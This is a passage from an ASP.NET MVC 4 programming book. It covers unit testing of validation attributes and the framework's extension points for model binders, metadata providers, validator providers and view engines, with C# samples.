On the client side, the changes are more dramatic. The MVC team added support for unobtrusive validation, which renders the validation rules as HTML elements instead of inline JavaScript code. MVC was the first framework from ASP.NET that delivered on the team's commitment to fully embrace the jQuery family of JavaScript frameworks. The unobtrusive validation feature is implemented in a framework-independent manner; the default implementation shipped with MVC is based on jQuery and jQuery Validate.

It is common for developers to want to write new validation rules, and most will quickly outgrow the four built-in validation rules (`Required`, `Range`, `RegularExpression`, and `StringLength`). At a minimum, writing a validation rule means writing the server-side validation code, which you can test with server-side unit-testing frameworks. Additionally, you can use server-side unit-testing frameworks to test the client-side metadata API in `IClientValidatable` to ensure that the rule is emitting the correct client-side rule. Writing tests for both these pieces should be relatively straightforward, once you're familiar with how the Data Annotations validation system works.

CLIENT-SIDE (JAVASCRIPT) UNIT TESTING

If there is no corresponding client-side rule that's a reasonable match for the validation rule, the developer may also choose to write a small piece of JavaScript, which can be unit tested using a client-side unit-testing framework (like QUnit, the unit-testing framework developed by the jQuery team). Writing unit tests for client-side JavaScript is beyond the scope of this chapter. I strongly encourage developers to invest time in finding a good client-side unit testing system for their JavaScript code.

A validation attribute derives from the `ValidationAttribute` base class, from `System.ComponentModel.DataAnnotations`. Implementing validation logic means overriding one of the two `IsValid` methods. You might recall the maximum words validator from Chapter 6, which started out like this:

```
public class MaxWordsAttribute : ValidationAttribute
{
    protected override ValidationResult IsValid(
        object value, ValidationContext validationContext)
    {
        return ValidationResult.Success;
    }
}
```

This validator attribute has the validation context passed to it as a parameter. This is the new overload available in the data annotations library in .NET 4. You could also override the version of `IsValid` from the original .NET 3.5 data annotations validation API:

```
public class MaxWordsAttribute : ValidationAttribute
{
    public override bool IsValid(object value)
    {
        return true;
    }
}
```

Which API you choose to override really depends on whether you need access to the validation context. The validation context gives you the ability to interact with the container object that contains your value. This is an issue when you consider unit testing because any validator that uses information inside of the validation context is going to need to get a validation context provided to it. If your validator overrides the version of `IsValid` which does not take a validation context, then you can call the version of `Validate` on it which only requires the model value and the parameter name.

On the other hand, if you implement the version of `IsValid` which includes the validation context (and you need values from that validation context), then you must call the version of `Validate`

which includes the validation context; otherwise, the validation context will be null inside of `IsValid`. Theoretically, any implementation of `IsValid` must be resilient when being called without a validation context, since it might be called by code that was written against the .NET 3.5 data annotations API; in practice, though, any validator which is used only in MVC 3 or later can safely assume that it will always be getting a validation context.

This means when you write your unit tests, you will need to provide a validation context to your validators (at the very least when you know those validators will be using one, but in practice, you might as well always do the right thing and provide the validation context).

Correctly creating the `ValidationContext` object can be tricky. There are several members you need to set correctly so that it can be consumed properly by the validator. The `ValidationContext` takes three arguments to its constructor: the model instance that is being validated, the service container, and the items collection. Of these three parameters, only the model instance is required; the others should be null because they are unused in ASP.NET MVC applications.

MVC does two different types of validation: model-level validation and property-level validation. Model-level validation is performed when the model object as a whole is being validated (that is, the validation attribute is placed on the class itself); property-level validation is performed when validating a single property of the model (that is, the validation attribute is placed on a property inside the model class). The `ValidationContext` object is set up differently in each scenario.

When performing model-level validation, the unit test sets up the `ValidationContext` object as shown in Table 13-2; when performing property-level validation, the unit test uses the rules shown in Table 13-3.

TABLE 13-2: Validation Context for Model Validation

PROPERTY	WHAT IT SHOULD CONTAIN
<code>DisplayName</code>	This property is used in error messages, replacing the <code>{0}</code> replacement token. For Model Validation, it is usually the simple name of the type (that is, the class name without the namespace prefix).
<code>Items</code>	This property isn't used in ASP.NET MVC applications.
<code>MemberName</code>	This property isn't used in Model Validation.
<code>ObjectInstance</code>	This property is the value passed to the constructor, and should be the instance of the model that is being validated. Note that this is the same value you will be passing to <code>Validate</code> .
<code>ObjectType</code>	This is the type of the model being validated. This is automatically set for you to match the type of the object passed into the <code>ValidationContext</code> constructor.
<code>ServiceContainer</code>	This value isn't used in ASP.NET MVC applications.

TABLE 13-3: Validation Context for Property Validation

PROPERTY	WHAT IT SHOULD CONTAIN
DisplayName	This property is used in error messages, replacing the { 0 } replacement token. For Property Validation, it is usually the name of the property, although that name may be influenced by attributes like [Display] or [DisplayName].
Items	This property isn't used in ASP.NET MVC applications.
MemberName	This property should contain the actual property name of the property being validated. Unlike DisplayName, which is used for display purposes, this should be the exact property name as it appears in the model class.
ObjectInstance	This property is the value passed to the constructor, and should be in the instance of the model that contains the property being validated. Unlike in the case of Model Validation, this value is not the same value that you will be passing to Validate (that will be the value of property).
ObjectType	This is the type of the model being validated (not the type of the property). This is automatically set for you to match the type of the object passed into the ValidationContext constructor.
ServiceContainer	This property isn't used in ASP.NET MVC applications.

Let's take a look at some sample code for each scenario. The following code shows how you would initialize the validation context to unit test model-level validation (assuming you were testing an instance of a hypothetical class named `ModelClass`):

```
var model = new ModelClass { /* initialize properties here */ };
var context = new ValidationContext(model, null, null) {
    DisplayName = model.GetType().Name
};
var validator = new ValidationAttributeUnderTest();

validator.Validate(model, context);
```

Inside the test, the call to `Validate` will throw an instance of the `ValidationException` class if there were any validation errors. When you're expecting the validation to fail, surround the call to `Validate` with a `try/catch` block, or use your test framework's preferred method for testing for exceptions.

Now let's show what the code might look like to test property-level validation. If we were testing a property named `FirstName` on your `ModelClass` model, the test code might look something like this:

```
var model = new ModelClass { FirstName = "Brad" };
var context = new ValidationContext(model, null, null) {
```

```
    DisplayName = "The First Name",
    MemberName = "FirstName"
};

var validator = new ValidationAttributeUnderTest();

validator.Validate(model.FirstName, context);
```

Comparing this code to the previous example, there are two key differences.

- First, the code sets the value of `MemberName` to match the property name, whereas the model-level validation sample didn't set any value for `MemberName`.
- Second, we pass the value of the property we're testing when we call `Validate`, whereas in the model-level validation sample we passed the value of the model itself to `Validate`.

Of course, all this code is necessary only if you know that your validation attribute requires access to the validation context. If you know that the attribute doesn't need validation context information, then you can use the simpler `Validate` method, which takes only the object value and the display name. These two values match the value you're passing to the `ValidationContext` constructor and the value you're setting into the `DisplayName` property of the validation context, respectively.

SUMMARY

The first half of this chapter briefly introduced unit testing and TDD so that you could be on the same page with the mechanics of effective unit testing. The second half of this chapter leveraged and enhanced that knowledge by providing real-world guidance on the best things to do (and to avoid) when writing unit tests for your MVC applications.

Extending MVC

Brad Wilson

WHAT'S IN THIS CHAPTER?

- Extending models
- Extending views
- Extending controllers

One of the lessons underlined in Chapter 1 is about the importance of the layers in the ASP.NET framework itself. When ASP.NET 1.0 came out in 2002, most people did not differentiate the core run time (that is, the classes in the `System.Web` namespace) from those of the ASP.NET Web Forms application platform (that is, the classes in the `System.Web.UI` namespace). The ASP.NET team built the complex abstraction of Web Forms on top of the simple abstraction of the core ASP.NET run time.

Several newer technologies from the ASP.NET team are built on top of the core run time, including ASP.NET MVC 4. Everything that's done by the MVC framework can be done by anybody (inside or outside of Microsoft) because it's built on these public abstractions. For the same reasons, the ASP.NET MVC framework is itself made up of several layers of abstractions. This enables developers to pick and choose the pieces of MVC they like and replace or extend the pieces they don't. With each successive version, the MVC team has opened up more of these customization points inside the framework itself.

Some developers won't ever need to know about the underlying extensibility of the platform; at best, they will use it indirectly by consuming a third-party extension to MVC. For the rest, the availability of these customization points are a critical factor in deciding how best to use MVC

in their applications. This chapter is for those developers who want to get a deeper understanding of how the pieces of MVC fit together, and the places we designed those pieces to be plugged into, supplemented, or replaced.

NOTE *The full source code to all the samples in this chapter is available in the NuGet package named Wrox.ProMvc4.ExtendingMvc. Start with an MVC application (using the Basic template), add the NuGet package to it, and you will have several fully functional samples, as discussed in this chapter. This chapter shows only the important pieces of the sample code, so following along with the full source code from the NuGet package will be critical in understanding how these extension points work.*

EXTENDING MODELS

The model system in MVC 4 has several extensible pieces, including the ability to describe models with metadata, to validate models, and to influence how models are constructed from the request data. We have a sample for each of these extensibility points within the system.

Turning Request Data into Models

The process of turning request data (such as form data, query string data, or even routing information) into models is called *model binding*. Model binding really happens in two phases:

- Understanding where data comes from (through the use of *value providers*)
- Creating/updating model objects with those values (through the use of *model binders*)

Exposing Request Data with Value Providers

When your MVC application participates in model binding, the values that are used for the actual model binding process come from value providers. The purpose of a value provider is simply to provide access to information that is eligible to be used in model binding. The MVC framework ships with several value providers which can provide data from the following sources:

- Explicit values for child actions (`RenderAction`)
- Form values
- JSON data from `XMLHttpRequest`
- Route values
- Query string values
- Uploaded files

Value providers come from *value provider factories*, and the system searches for data from those value providers in their registered order (the preceding list is the order that is used by default, top first to bottom last). Developers can write their own value provider factories and value providers, and insert them into the factory list contained inside `ValueProviderFactories.Factories`. Developers choose to implement a value provider factory and value provider when they need to provide an additional source of data to be used during model binding.

In addition to the value provider factories included in MVC itself, the team also included several provider factories and value providers in ASP.NET MVC Futures. They include:

- Cookie value provider
- Server variable value provider
- Session value provider
- TempData value provider

Microsoft has open sourced all of MVC (including MVC Futures) at <http://aspnetwebstack.codeplex.com/>, which should provide a good reference to help you get started building your own value providers and factories.

Creating Models with Model Binders

The other part of extending models is *model binders*. They take values from the value provider system and either create new models with the data or fill in existing models with the data. The default model binder in MVC (named `DefaultModelBinder`, conveniently) is an extremely powerful piece of code. It's capable of performing model binding against traditional classes, collection classes, lists, arrays, and even dictionaries.

One thing the default model binder can't do well is support immutable objects — that is, objects whose initial values must be set via a constructor and cannot be changed later. Our example model binder code in `~/Areas/ModelBinder` includes the source code for a model binder for the `Point` object from the CLR. Because the `Point` class is immutable, you must construct a new instance using its values:

```
public class PointModelBinder : IModelBinder {
    public object BindModel(ControllerContext controllerContext,
                           ModelBindingContext bindingContext) {
        var valueProvider = bindingContext.ValueProvider;
        int x = (int)valueProvider.GetValue("X").ConvertTo(typeof(int));
        int y = (int)valueProvider.GetValue("Y").ConvertTo(typeof(int));
        return new Point(x, y);
    }
}
```

When you create a new model binder, you need to tell the MVC framework that there exists a new model binder and when to use it. You can either decorate the bound class with the `[ModelBinder]` attribute, or you can register the new model binder in the global list at `ModelBinders.Binders`.

An often overlooked responsibility of model binders is validating the values that they're binding. The preceding example code is quite simple because it does not include any of the validation logic. The full sample does include support for validation, but it makes the example a bit more

detailed. In some instances, you know the types you’re model binding against, so supporting generic validation might not be necessary (because you could hard-code the validation logic directly into the model binder); for generalized model binders, you will want to consult the built-in validation system to find the user-supplied validators and ensure that the models are correct.

In the extended sample (which matches the code in the NuGet package), let’s see what a more complete version of the model binder looks like, line by line. The new implementation of `BindModel` still looks relatively straightforward because we’ve moved all the retrieval, conversion, and validation logic into a helper method:

```
public object BindModel(ControllerContext controllerContext,
                        ModelBindingContext bindingContext) {
    if (!String.IsNullOrEmpty(bindingContext.ModelName) &&
        !bindingContext.ValueProvider.ContainsPrefix(bindingContext.ModelName)) {
        if (!bindingContextFallbackToEmptyPrefix)
            return null;

        bindingContext = new ModelBindingContext {
            ModelMetadata = bindingContext.ModelMetadata,
            ModelState = bindingContext.ModelState,
            PropertyFilter = bindingContext.PropertyFilter,
            ValueProvider = bindingContext.ValueProvider
        };
    }

    bindingContext.ModelMetadata.Model = new Point();

    return new Point(
        Get<int>(controllerContext, bindingContext, "X"),
        Get<int>(controllerContext, bindingContext, "Y")
    );
}
```

We’re doing two new things in this version of `BindModel` that you didn’t see in the original:

- The block of code with the first `if` block, which is trying to find values with the name prefix before falling back to an empty prefix. When the system starts model binding, the value in `bindingContext.ModelName` is set to the name of the model parameter (in our sample controller, that’s `pt`). We look inside the value providers and ask if they have any sub-values that start with `pt`, because if they do, those are the values we want to use. With a parameter named `pt`, we would prefer to use values whose names were `pt.X` and `pt.Y` instead of just `X` and `Y`. However, if we don’t find any values that start with `pt`, we need to be able to fall back to using just `X` and `Y` for the names.
- An empty instance of the `Point` object is placed in the `ModelMetadata`. The reason we need to do this is that most validation systems, including `DataAnnotations`, expect to see an instance of the container object even if it doesn’t necessarily have the actual values in it yet. Our call to the `Get` method invokes validation, so we need to give the validation system a container object of some sort, even though we know it’s not the final container.

The Get method has several pieces to it. Here's the whole function, and then you'll examine the code a few lines at a time:

```
private TModel Get<TModel>(ControllerContext controllerContext,
                            ModelBindingContext bindingContext,
                            string name) {

    string fullName = name;
    if (!String.IsNullOrWhiteSpace(bindingContext.ModelName))
        fullName = bindingContext.ModelName + "." + name;

    ValueProviderResult valueProviderResult =
        bindingContext.ValueProvider.GetValue(fullName);

    ModelState modelState = new ModelState { Value = valueProviderResult };
    bindingContext.ModelState.Add(fullName, modelState);

    ModelMetadata metadata = bindingContext.PropertyMetadata[name];

    string attemptedValue = valueProviderResult.AttemptedValue;
    if (metadata.ConvertEmptyStringToNull
        && String.IsNullOrWhiteSpace(attemptedValue))
        attemptedValue = null;

    TModel model;
    bool invalidValue = false;

    try
    {
        model = (TModel)valueProviderResult.ConvertTo(typeof(TModel));
        metadata.Model = model;
    }
    catch (Exception)
    {
        model = default(TModel);
        metadata.Model = attemptedValue;
        invalidValue = true;
    }

    IEnumerable<ModelValidator> validators =
        ModelValidatorProviders.Providers.GetValidators(
            metadata,
            controllerContext
        );

    foreach (var validator in validators)
        foreach (var validatorResult in validator.Validate(bindingContext.Model))
            modelState.Errors.Add(validatorResult.Message);

    if (invalidValue && modelState.Errors.Count == 0)
        modelState.Errors.Add(
            String.Format(
                "The value '{0}' is not a valid value for {1}.",
                attemptedValue,
```

```

        metadata.GetDisplayName()
    )
);

return model;
}

```

The line-by-line analysis is as follows:

1. The first thing you need to do is retrieve the attempted value from the value provider, and then record the value in the model state so that the user can always see the exact value they typed, even if the value ended up being something the model cannot directly contain (for example, if the user types “abc” into a field that allows only integers):

```

string fullName = name;
if (!String.IsNullOrWhiteSpace(bindingContext.ModelName))
    fullName = bindingContext.ModelName + "." + name;

ValueProviderResult valueProviderResult =
    bindingContext.ValueProvider.GetValue(fullName);

ModelState ModelState = new ModelState { Value = valueProviderResult };
bindingContext.ModelState.Add(fullName, ModelState);

```

The fully qualified name prepends the model name, in the event that you’re doing deep model binding. This might happen if you decide to have a property of type `Point` inside another class (like a view model).

2. Once you have the result from the value provider, you must get a copy of the model metadata that describes this property, and then determine what the attempted value was that the user entered:

```

ModelMetadata metadata = bindingContext.PropertyMetadata[name];

string attemptedValue = valueProviderResult.AttemptedValue;
if (metadata.ConvertEmptyStringToNull
    && String.IsNullOrWhiteSpace(attemptedValue))
    attemptedValue = null;

```

You use the model metadata to determine whether you should convert empty strings into nulls. This behavior is generally on by default because HTML forms always post empty strings rather than nulls when the user hasn’t entered any value. The validators which check for required values are generally written such that nulls fail a required check but empty strings succeed, so the developer can set a flag in the metadata to allow empty strings to be placed into the field rather than being converted to null (and thereby failing any required validation checks).

3. The next section of code attempts to convert the value into the destination type, and records if there was some kind of conversion error. Either way, you need to have a value placed into the metadata so that validation has a value to run against. If you can successfully convert the value, then you can use that; otherwise, you use the attempted value, even though you know it’s not the right type.

```
TModel model;
```

```

        bool invalidValue = false;

        try
        {
            model = (TModel)valueProviderResult.ConvertTo(typeof(TModel));
            metadata.Model = model;
        }
        catch (Exception)
        {
            model = default(TModel);
            metadata.Model = attemptedValue;
            invalidValue = true;
        }
    }
}

```

You record whether there was a conversion failure for later because you want to add conversion failure error messages only if no other validation failed (for example, you generally expect both required and data conversion failures for values that are required, but the required validator message is more correct, so you want to make sure it has higher priority).

4. Run all the validators and record each validation failure in the errors collection of the model state:

```

IEnumerable<ModelValidator> validators =
    ModelValidatorProviders.Providers.GetValidators(
        metadata,
        controllerContext
    );

foreach (var validator in validators)
    foreach (var validatorResult in validator.Validate(bindingContext.Model))
        ModelState.Errors.Add(validatorResult.Message);

```

5. Record the data type conversion error, if one occurred and no other validation rules failed, and then return the value back so that it can be used for the rest of the model binding process:

```

if (invalidValue && ModelState.Errors.Count == 0)
    ModelState.Errors.Add(
        String.Format(
            "The value '{0}' is not a valid value for {1}.",
            attemptedValue,
            metadata.GetDisplayName()
        )
    );
}

return model;

```

The sample includes a simple controller and view that demonstrate the use of the model binder (which is registered in the area registration file). For this sample, the client-side validation is disabled so that you can easily see the server-side logic being run and debug into it. You should turn on client-side validation inside the view so that you can verify that the client-side validation rules remain in place and functional.

Describing Models with Metadata

The model metadata system was introduced in ASP.NET MVC 2. It helps describe meta-information about a model that is used to assist in the HTML generation and validation of models. The kinds of information exposed by the model metadata system include (but are not limited to) answers to the following questions:

- What is the type of the model?
- What is the type of the containing model, if any?
- What is the name of the property this value came from?
- Is it a simple type or a complex type?
- What is the display name?
- How do you format the value for display? For editing?
- Is the value required?
- Is the value read-only?
- What template should I use to display this?

Out of the box, MVC supports model metadata that's expressed through attributes applied to classes and properties. These attributes are found primarily in the `System.ComponentModel` and `System.ComponentModel.DataAnnotations` namespaces.

The `ComponentModel` namespace has been around since .NET 1.0 and was originally designed for use in Visual Studio designers such as Web Forms and Windows Forms. The `DataAnnotations` classes were introduced in .NET 3.5 SP1 (along with ASP.NET Dynamic Data) and were designed primarily for use with model metadata. In .NET 4, the `DataAnnotations` classes were significantly enhanced, and started being used by the WCF RIA Services team as well as being ported to Silverlight 4. Despite getting their start on the ASP.NET team, they have been designed from the beginning to be agnostic of the UI presentation layer, which is why they live under `System.ComponentModel` rather than under `System.Web`.

ASP.NET MVC offers a pluggable model metadata provider system so that you can provide your own metadata source, if you'd prefer not to use `DataAnnotations` attributes. Implementing a metadata provider means deriving a class from `ModelMetadataProvider` and implementing the three abstract methods:

- `GetMetadataForType` returns the metadata about a whole class.
- `GetMetadataForProperty` returns the metadata for a single property on a class.
- `GetMetadataForProperties` returns the metadata for all the properties on a class.

There is a derived type, `AssociatedMetadataProvider`, that can be used by metadata providers that intend to provide metadata via attributes. It consolidates the three method calls down into a single one named `CreateMetadata`, and passes along the list of attributes that were attached to the model and/or model properties. If you're writing a metadata provider that is decorating your models with

attributes, it's often a good idea to use `AssociatedMetadataProvider` as the base class for your provider class because of the simplified API (and the automatic support for metadata "buddy classes").

The sample code includes a fluent metadata provider example under `~/Areas/FluentMetadata`. The implementation is extensive, given how many different pieces of metadata are available to the end user, but the code is fairly simple and straightforward. Because MVC can use only a single metadata provider, the example derives from the built-in metadata provider so that the user can mix traditional metadata attributes and dynamic code-based metadata.

One distinct advantage of the sample fluent metadata provider over the built-in metadata attributes is that you can use it to describe and decorate types whose definitions you don't control. With a traditional attribute approach, the attributes must be applied to the type at the time that the type is written; with an approach like the fluent metadata provider, describing the types is done separately from the definition of the type itself, allowing you to apply rules to types you didn't write (for example, types built into the .NET framework itself).

In our example, the metadata registration is performed inside of the area registration function:

```
ModelMetadataProviders.Current =
    new FluentMetadataProvider()
        .ForModel<Contact>()
            .ForProperty(m => m.FirstName)
                .DisplayName("First Name")
                .DataTypeName("string")
            .ForProperty(m => m.LastName)
                .DisplayName("Last Name")
                .DataTypeName("string")
            .ForProperty(m => m.EmailAddress)
                .DisplayName("E-mail address")
                .DataTypeName("email");
```

The implementation of `CreateMetadata` starts by getting the metadata that is derived from the annotation attributes, and then modifying those values through modifiers that are registered by the developer. The modifier methods (like the calls to `DisplayName`) simply record future modifications that are performed against the `ModelMetadata` object after it's been requested. The modifications are stored away in a dictionary inside of the fluent provider so that you can run them later in `CreateMetadata`, which is shown here:

```
protected override ModelMetadata CreateMetadata(
    IEnumerable<Attribute> attributes,
    Type containerType,
    Func<object> modelAccessor,
    Type modelType,
    string propertyName) {

    // Start with the metadata from the annotation attributes
    ModelMetadata metadata =
        base.CreateMetadata(
            attributes,
            containerType,
            modelAccessor,
            modelType,
            propertyName)
```

```

    );

    // Look inside our modifier dictionary for registrations
    Tuple<Type, string> key =
        propertyName == null
            ? new Tuple<Type, string>(modelType, null)
            : new Tuple<Type, string>(containerType, propertyName);

    // Apply the modifiers to the metadata, if we found any
    List<Action<ModelMetadata>> modifierList;
    if (modifiers.TryGetValue(key, out modifierList))
        foreach (Action<ModelMetadata> modifier in modifierList)
            modifier(metadata);

    return metadata;
}

```

The implementation of this metadata provider is effectively just a mapping of either types to modifiers (for modifying the metadata of a class) or mappings of types + property names to modifiers (for modifying the metadata of a property). Although there are several of these modifier functions, they all follow the same basic pattern, which is to register the modification function in the dictionary of the provider so that it can be run later. Here is the implementation of `DisplayName`:

```

public MetadataRegistrar<TModel> DisplayName(string displayName)
{
    provider.Add(
        typeof(TModel),
        propertyName,
        metadata => metadata.DisplayName = displayName
    );

    return this;
}

```

The third parameter to the `Add` call is the anonymous function that acts as the modifier: Given an instance of a metadata object, it sets the `DisplayName` property to the display name that the developer provided. Consult the full sample for the complete code, including controller and view, which shows everything working together.

Validating Models

Model validation has been supported since ASP.NET MVC 1.0, but it wasn't until MVC 2 that the team introduced pluggable validation providers. MVC 1.0 validation was based on the `IDataErrorInfo` interface (though this is still functional, developers should consider it to be deprecated). Instead, developers using MVC 2 or later can use the `DataAnnotations` validation attributes on their model properties. In the box in .NET 3.5 SP1 are four validation attributes: `[Required]`, `[Range]`, `[StringLength]`, and `[RegularExpression]`. A base class, `ValidationAttribute`, is provided for developers to write their own custom validation logic.

The CLR team added a few enhancements to the validation system in .NET 4, including the new `IValidatableObject` interface. ASP.NET MVC 3 added two new validators: `[Compare]` and `[Remote]`. In addition, if your MVC 4 project targets .NET 4.5, there are several new attributes

that MVC supports in Data Annotations that match with the rules available with jQuery Validate, including [CreditCard], [EmailAddress], [FileExtensions], [MaxLength], [MinLength], [Phone], and [Url].

Chapter 6 covers writing custom validators in depth, so I won't rehash that material. Instead, the example focuses on the more advanced topic of writing validator providers. Validator providers allow the developer to introduce new sources of validation. In the box in MVC, three validator providers are installed by default:

- `DataAnnotationsModelValidatorProvider` provides support for validators derived from `ValidationAttribute` and models that implement `IValidatableObject`.
- `DataErrorInfoModelValidatorProvider` provides support for classes that implement the `IDataErrorInfo` interface used by MVC 1.0's validation layer.
- `ClientDataTypeModelValidatorProvider` provides client validation support for the built-in numeric data types (integers, decimals, floating-point numbers, and dates).

Implementing a validator provider means deriving from the `ModelValidatorProvider` base class, and implementing the single method that returns validators for a given model (represented by an instance of `ModelMetadata` and the `ControllerContext`). You register your custom model validator provider by using `ModelValidatorProviders.Providers`.

There is an example of a fluent model validation system present in the sample code under `~/Areas/FluentValidation`. Much like the fluent model metadata example, this is fairly extensive because it needs to provide several validation functions, but most of the code for implementing the validator provider itself is relatively straightforward and self-explanatory.

The sample includes fluent validation registration inside the area registration function:

```
ModelValidatorProviders.Providers.Add(
    new FluentValidationProvider()
        .ForModel<Contact>()
            .ForProperty(c => c.FirstName)
                .Required()
                .StringLength(maxLength: 15)
            .ForProperty(c => c.LastName)
                .Required(errorMessage: "You must provide the last name!")
                .StringLength(minLength: 3, maxLength: 20)
            .ForProperty(c => c.EmailAddress)
                .Required()
                .StringLength(minLength: 10)
                .EmailAddress()
);

```

We have implemented three different validators for this example, including both server-side and client-side validation support. The registration API looks nearly identical to the model metadata fluent API example examined previously. Our implementation of `GetValidators` is based on a dictionary that maps requested types and optional property names to validator factories:

```
public override IEnumerable<ModelValidator> GetValidators(
    ModelMetadata metadata,
    ControllerContext context) {
```

```

IEnumerable<ModelValidator> results = Enumerable.Empty<ModelValidator>();

if (metadata.PropertyName != null)
    results = GetValidators(metadata,
                           context,
                           metadata.ContainerType,
                           metadata.PropertyName);

return results.Concat(
    GetValidators(metadata,
                  context,
                  metadata.ModelType)
);
}

```

Given that the MVC framework supports multiple validator providers, there is no need for you to derive from the existing validator provider or delegate to it. You just add your own unique validation rules as appropriate. The validators that apply to a particular property are those that are applied to the property itself as well as those that are applied to the property's type; so, for example, if you have this model:

```

public class Contact
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string EmailAddress { get; set; }
}

```

when the system requests validation rules for `FirstName`, the system provides rules that have been applied to the `FirstName` property itself, as well as any rules that have been applied to `System.String` (because that's the type `FirstName` is).

The implementation of the private `GetValidators` method used in the previous example then becomes:

```

private IEnumerable<ModelValidator> GetValidators(
    ModelMetadata metadata,
    ControllerContext context,
    Type type,
    string propertyName = null)
{
    var key = new Tuple<Type, string>(type, propertyName);
    List<ValidatorFactory> factories;
    if (validators.TryGetValue(key, out factories))
        foreach (var factory in factories)
            yield return factory(metadata, context);
}

```

This code looks up all the validator factories that have been registered with the provider. The functions you saw in registration, like `Required` and `StringLength`, are how those validator factories get registered. All those functions tend to follow the same pattern:

```

public ValidatorRegistrar<TModel> Required(
    string errorMessage = "{0} is required")
{
    provider.Add(
        typeof(TModel),
        propertyName,
        (metadata, context) =>
            new RequiredValidator(metadata, context, errorMessage)
    );
}

return this;
}

```

The third parameter in the call to `provider.Add` is the anonymous function that acts as the validator factory. Given an input of the model metadata and the controller context, it returns an instance of a class that derives from `ModelValidator`.

The `ModelValidator` base class is the class that MVC understands and consumes for the purposes of validation. You saw the implicit use of the `ModelValidator` class in the previous model binder example because the model binder is ultimately responsible for running validation while it's creating and binding the objects. Our implementation of the `RequiredValidator` that we're using has two core responsibilities: perform the server-side validation, and return metadata about the client-side validation. Our implementation looks like this:

```

private class RequiredValidator : ModelValidator {
    private string errorMessage;

    public RequiredValidator(ModelMetadata metadata,
                           ControllerContext context,
                           string errorMessage) : base(metadata, context) {
        this.errorMessage = errorMessage;
    }

    private string ErrorMessage {
        get {
            return String.Format(errorMessage, Metadata.GetDisplayName());
        }
    }

    public IEnumerable<ModelClientValidationRule> GetClientValidationRules() {
        yield return new ModelClientValidationRequiredRule(ErrorMessage);
    }

    public IEnumerable<ModelValidationResult> Validate(object container) {
        if (Metadata.Model == null)
            yield return new ModelValidationResult { Message = ErrorMessage };
    }
}

```

The full example includes implementation of three validation rules (`Required`, `StringLength`, and `EmailAddress`), including a model, controller, and view, which shows it all working together. Client-side validation has been turned off by default so that you can verify and debug into the server-side validation. You can remove the single line of code from the view to re-enable client-side validation and see how it works.

EXTENDING VIEWS

Views are the most common type of result returned from actions. A view is generally some kind of template with code inside to customize the output based on the input (the model). ASP.NET MVC ships with two view engines installed by default: the Web Forms view engine (which has been in MVC since version 1.0) and the Razor view engine (which was introduced in MVC 3). Several third-party view engines are also available for MVC applications, including Spark, NHaml, and NVelocity.

Customizing View Engines

An entire book could be written on the subject of writing a custom view engine, and in truth, perhaps a dozen people would buy it. Writing a view engine from scratch is just not a task very many people need to do, and there is enough existing source code for functional view engines that those few users have good starting places from which to work. Instead, this section is devoted to the customization of the two existing view engines that ship with MVC.

The two view engine classes — `WebFormViewEngine` and `RazorViewEngine` — both derive from `BuildManagerViewEngine`, which itself derives from `VirtualPathProviderViewEngine`. Both the build manager and virtual path providers are features inside of the core ASP.NET run time. The build manager is the component that locates view files on disk (like `.aspx` or `.cshtml` files) and converts them into source code and compiles them. The virtual path provider helps to locate files of any type; by default, the system will look for files on disk, but a developer could also replace the virtual path provider with one that loads the view content from other locations (like from a database or from an embedded resource). These two base classes allow a developer to replace the build manager and/or the virtual path provider, if needed.

A more common scenario for overriding is changing the locations on disk where the view engines look for files. By convention, it finds them in the following locations:

```
~/Areas/AreaName/Views/ControllerName  
~/Areas/AreaName/Views/Shared  
~/Views/ControllerName  
~/Views/Shared
```

These locations are set into collection properties of the view engine during its constructor, so developers could create a new view engine that derives from their view engine of choice and override these locations. The following code shows the relevant code from one of the constructors of `WebFormViewEngine`:

```
AreaMasterLocationFormats = new string[] {  
    "~/Areas/{2}/Views/{1}/{0}.master",  
    "~/Areas/{2}/Views/Shared/{0}.master"  
};  
AreaViewLocationFormats = new string[] {  
    "~/Areas/{2}/Views/{1}/{0}.aspx",  
    "~/Areas/{2}/Views/{1}/{0}.ascx",
```

```

        "~/Areas/{2}/Views/Shared/{0}.aspx",
        "~/Areas/{2}/Views/Shared/{0}.ascx"
    };
    AreaPartialViewLocationFormats = AreaViewLocationFormats;

    MasterLocationFormats = new string[] {
        "~/Views/{1}/{0}.master",
        "~/Views/Shared/{0}.master"
    };
    ViewLocationFormats = new string[] {
        "~/Views/{1}/{0}.aspx",
        "~/Views/{1}/{0}.ascx",
        "~/Views/Shared/{0}.aspx",
        "~/Views/Shared/{0}.ascx"
    };
    PartialViewLocationFormats = ViewLocationFormats;
}

```

These strings are sent through `String.Format`, and the parameters that are passed to them are:

- {0} = View Name
- {1} = Controller Name
- {2} = Area Name

Changing these strings allows the developer to change the conventions for view location. For example, say you only wanted to serve .aspx files for full views and .ascx files for partial views. This would allow you to have two views with the same name but different extensions, and which one got rendered would depend on whether you requested a full or partial view.

The code inside the Razor view engine's constructor looks similar:

```

AreaMasterLocationFormats = new string[] {
    "~/Areas/{2}/Views/{1}/{0}.cshtml",
    "~/Areas/{2}/Views/{1}/{0}.vbhtml",
    "~/Areas/{2}/Views/Shared/{0}.cshtml",
    "~/Areas/{2}/Views/Shared/{0}.vbhtml"
};
AreaViewLocationFormats = AreaMasterLocationFormats;
AreaPartialViewLocationFormats = AreaMasterLocationFormats;

MasterLocationFormats = new string[] {
    "~/Views/{1}/{0}.cshtml",
    "~/Views/{1}/{0}.vbhtml",
    "~/Views/Shared/{0}.cshtml",
    "~/Views/Shared/{0}.vbhtml"
};
ViewLocationFormats = MasterLocationFormats;
PartialViewLocationFormats = MasterLocationFormats;

```

The small differences in this code account for the fact that Razor uses the file extension to differentiate the programming language (C# versus VB), but does not have separate file types for master views, views, and partial views; it also does not have separate file types for pages versus controls because those constructs don't exist in Razor.

Once you have the customized view engine, you'll need to let MVC know to use it. In addition, you'll need to remove the existing view engine that you're planning to replace. You should configure MVC from within your `Global.asax` file (or by using one of the `Config` classes in the `App_Start` folder of the default MVC 4 templates).

For example, if you are replacing the Razor view engine with your own custom view engine, the code might look something like this:

```
var razorEngine = ViewEngines.Engines
    .SingleOrDefault(ve => ve is RazorViewEngine);

if (razorEngine != null)
    ViewEngines.Engines.Remove(razorEngine);

ViewEngines.Engines.Add(new MyRazorViewEngine());
```

This code uses a little bit of LINQ magic to determine whether a Razor view engine is already installed (removing it if so), and then adds an instance of your new Razor view engine instead. Remember that view engines are run in order, so if you want your new Razor view engine to take precedence over whatever other view engines are registered, you should use `.Insert` instead of `.Add` (with an index of 0 to make sure it goes first).

Writing HTML Helpers

